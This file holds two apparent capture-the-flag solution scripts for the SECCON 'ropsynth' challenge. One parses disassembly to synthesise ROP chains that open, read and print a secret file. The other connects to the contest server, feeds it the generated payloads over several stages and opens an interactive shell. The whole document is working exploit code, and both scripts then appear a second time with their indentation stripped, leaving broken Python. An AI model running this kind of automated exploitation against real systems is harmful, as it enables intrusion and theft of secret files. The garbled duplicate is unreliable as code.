otms61/r.py

## r.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct
import binascii


def p(a):
    return struct.pack("<Q", a)


def u(a):
    return struct.unpack("<Q", a)[0]


def calc_gadgets(line_itr):
    gadgets = []
    while True:
        g1_line = line_itr.next()
        g1_line = g1_line.split()
        if g1_line[1] == 'hlt':
            continue
        if g1_line[1] == 'ret':
            print '[*] ret is found!'
            break
        target = g1_line[2]
        inst_list = []
        # print '[*] {} is target!'.format(target)
        for g_line in line_itr:
            if 'je' in g_line:
                # print inst_list
                break
            insts = g_line.split()
            v = int(insts[2].split(',')[1], 0x10)
            inst_list.append([insts[1], v])

        inst = inst_list.pop()
        assert(inst[0] == 'cmp')
        gadget_val = inst[1]
        while len(inst_list) > 0:
            inst = inst_list.pop()
            if inst[0] == 'sub':
                gadget_val += inst[1]
            elif inst[0] == 'add':
                gadget_val -= inst[1]
            elif inst[0] == 'xor':
                gadget_val ^= inst[1]
            else:
                assert(False)
        gadget_val &= 0xffffffffffffffff
        print "  gadget value is {:#x}".format(gadget_val)
        gadgets.append(gadget_val)
    return gadgets


fp = open('dumped').read().split('\n')

gadgets = {}
line_itr = iter(fp[7:-1])

SECRET_STR_ADDR = 0x00a00000
BUFF_ADDR = 0x00a00100

for line in line_itr:
    line = line.split(':')
    line_n = int(line[0].strip(), 0x10) + 0x00800000
    inst_raw = line[1].strip()
    if 'rsi' in inst_raw:
        print '[+] rsi gadgets found!'
        gn = 'rsi'
    elif 'rdi' in inst_raw:
        print '[+] rdi gadgets found!'
        gn = 'rdi'
    elif 'rdx' in inst_raw:
        print '[+] rdx gadgets found!'
        gn = 'rdx'
    elif 'syscall' in inst_raw:
        print '[+] syscall gadgets found!'
        gn = 'syscall'
    elif 'rax' in inst_raw:
        if 'push' in inst_raw:
            continue
        print '[+] rax gadgets found!'
        gn = 'rax'
    else:
        continue
    g = calc_gadgets(line_itr)
    print g

    gadgets[gn] = {'addr': line_n, 'gadgets': g}


def build_rop_gadget(target_ins, val=0, pop_eax=False):
    addr = gadgets[target_ins]['addr']
    rop_gadgets = []
    if target_ins == 'syscall':
        rop_gadgets.append(addr)
        print '{:>8}: {:8x}'.format(target_ins, addr)
    else:
        if pop_eax:
            rop_gadgets.append(addr-1)
            print '{:>8}: {:8x}'.format(target_ins, addr-1)
        else:
            rop_gadgets.append(addr)
            rop_gadgets.append(val)
            print '{:>8}: {:8x}'.format(target_ins, addr)
            print '{:>8}: {:8x}'.format('val', val)

    for v in gadgets[target_ins]['gadgets']:
        rop_gadgets.append(v)
        print '{:>8}: {:8x}'.format('', v)
    # print rop_gadgets
    return ''.join(map(p, rop_gadgets))


payload = ''
# fd = open('secret', 0, 0)
payload += build_rop_gadget('rax', 2)
payload += build_rop_gadget('rdi', SECRET_STR_ADDR)
payload += build_rop_gadget('rsi', 0)
payload += build_rop_gadget('rdx', 0)
payload += build_rop_gadget('syscall')

# len = read(fd, buf, 256)
payload += build_rop_gadget('rdi', pop_eax=True)
payload += build_rop_gadget('rax', 0)
payload += build_rop_gadget('rsi', BUFF_ADDR)
payload += build_rop_gadget('rdx', 256)
payload += build_rop_gadget('syscall')


# write(1, buf, len)
payload += build_rop_gadget('rdx', pop_eax=True)
payload += build_rop_gadget('rax', 1)
payload += build_rop_gadget('rdi', 1)
payload += build_rop_gadget('rsi', BUFF_ADDR)
payload += build_rop_gadget('syscall')

# print payload.encode('base64')
b_payload = binascii.b2a_base64(payload)
print b_payload
ofp = open('payload', 'w')
ofp.write(b_payload)
ofp.close()

## x.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import struct
import telnetlib
import os


def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    f = s.makefile('rw', bufsize=0)
    return s, f


def read_until(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data


def shell(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()


# s, f = sock('localhost', 4444)
s, f = sock('ropsynth.pwn.seccon.jp', 10000)
print read_until(f)
def attack():
    encoded = read_until(f)
    print 'encoded'
    print encoded
    fp = open('bin', 'w')
    fp.write(encoded.decode('base64'))
    fp.close()
    os.system('objdump --no-show-raw-insn -Mintel,x86-64 -b binary -D -m i386 ./bin  >  dumped')
    os.system('python r.py')
    fg = open('payload').read()
    f.write(fg)
attack()

for _ in range(4):
    print read_until(f, 'stage')
    print read_until(f)
    attack()

shell(s)
	#!/usr/bin/python
	# -- coding: utf-8 --
	import struct
	import binascii


	def p(a):
	return struct.pack("<Q", a)


	def u(a):
	return struct.unpack("<Q", a)[0]


	def calc_gadgets(line_itr):
	gadgets = []
	while True:
	g1_line = line_itr.next()
	g1_line = g1_line.split()
	if g1_line[1] == 'hlt':
	continue
	if g1_line[1] == 'ret':
	print '[*] ret is found!'
	break
	target = g1_line[2]
	inst_list = []
	# print '[*] {} is target!'.format(target)
	for g_line in line_itr:
	if 'je' in g_line:
	# print inst_list
	break
	insts = g_line.split()
	v = int(insts[2].split(',')[1], 0x10)
	inst_list.append([insts[1], v])

	inst = inst_list.pop()
	assert(inst[0] == 'cmp')
	gadget_val = inst[1]
	while len(inst_list) > 0:
	inst = inst_list.pop()
	if inst[0] == 'sub':
	gadget_val += inst[1]
	elif inst[0] == 'add':
	gadget_val -= inst[1]
	elif inst[0] == 'xor':
	gadget_val ^= inst[1]
	else:
	assert(False)
	gadget_val &= 0xffffffffffffffff
	print " gadget value is {:#x}".format(gadget_val)
	gadgets.append(gadget_val)
	return gadgets



	fp = open('dumped').read().split('\n')

	gadgets = {}
	line_itr = iter(fp[7:-1])

	SECRET_STR_ADDR = 0x00a00000
	BUFF_ADDR = 0x00a00100

	for line in line_itr:
	line = line.split(':')
	line_n = int(line[0].strip(), 0x10) + 0x00800000
	inst_raw = line[1].strip()
	if 'rsi' in inst_raw:
	print '[+] rsi gadgets found!'
	gn = 'rsi'
	elif 'rdi' in inst_raw:
	print '[+] rdi gadgets found!'
	gn = 'rdi'
	elif 'rdx' in inst_raw:
	print '[+] rdx gadgets found!'
	gn = 'rdx'
	elif 'syscall' in inst_raw:
	print '[+] syscall gadgets found!'
	gn = 'syscall'
	elif 'rax' in inst_raw:
	if 'push' in inst_raw:
	continue
	print '[+] rax gadgets found!'
	gn = 'rax'
	else:
	continue
	g = calc_gadgets(line_itr)
	print g

	gadgets[gn] = {'addr': line_n, 'gadgets': g}


	def build_rop_gadget(target_ins, val=0, pop_eax=False):
	addr = gadgets[target_ins]['addr']
	rop_gadgets = []
	if target_ins == 'syscall':
	rop_gadgets.append(addr)
	print '{:>8}: {:8x}'.format(target_ins, addr)
	else:
	if pop_eax:
	rop_gadgets.append(addr-1)
	print '{:>8}: {:8x}'.format(target_ins, addr-1)
	else:
	rop_gadgets.append(addr)
	rop_gadgets.append(val)
	print '{:>8}: {:8x}'.format(target_ins, addr)
	print '{:>8}: {:8x}'.format('val', val)

	for v in gadgets[target_ins]['gadgets']:
	rop_gadgets.append(v)
	print '{:>8}: {:8x}'.format('', v)
	# print rop_gadgets
	return ''.join(map(p, rop_gadgets))


	payload = ''
	# fd = open('secret', 0, 0)
	payload += build_rop_gadget('rax', 2)
	payload += build_rop_gadget('rdi', SECRET_STR_ADDR)
	payload += build_rop_gadget('rsi', 0)
	payload += build_rop_gadget('rdx', 0)
	payload += build_rop_gadget('syscall')

	# len = read(fd, buf, 256)
	payload += build_rop_gadget('rdi', pop_eax=True)
	payload += build_rop_gadget('rax', 0)
	payload += build_rop_gadget('rsi', BUFF_ADDR)
	payload += build_rop_gadget('rdx', 256)
	payload += build_rop_gadget('syscall')


	# write(1, buf, len)
	payload += build_rop_gadget('rdx', pop_eax=True)
	payload += build_rop_gadget('rax', 1)
	payload += build_rop_gadget('rdi', 1)
	payload += build_rop_gadget('rsi', BUFF_ADDR)
	payload += build_rop_gadget('syscall')

	# print payload.encode('base64')
	b_payload = binascii.b2a_base64(payload)
	print b_payload
	ofp = open('payload', 'w')
	ofp.write(b_payload)
	ofp.close()
	#!/usr/bin/python
	# -- coding: utf-8 --
	import socket
	import struct
	import telnetlib
	import os


	def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f


	def read_until(f, delim='\n'):
	data = ''
	while not data.endswith(delim):
	data += f.read(1)
	return data


	def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()


	# s, f = sock('localhost', 4444)
	s, f = sock('ropsynth.pwn.seccon.jp', 10000)
	print read_until(f)
	def attack():
	encoded = read_until(f)
	print 'encoded'
	print encoded
	fp = open('bin', 'w')
	fp.write(encoded.decode('base64'))
	fp.close()
	os.system('objdump --no-show-raw-insn -Mintel,x86-64 -b binary -D -m i386 ./bin > dumped')
	os.system('python r.py')
	fg = open('payload').read()
	f.write(fg)
	attack()

	for _ in range(4):
	print read_until(f, 'stage')
	print read_until(f)
	attack()

	shell(s)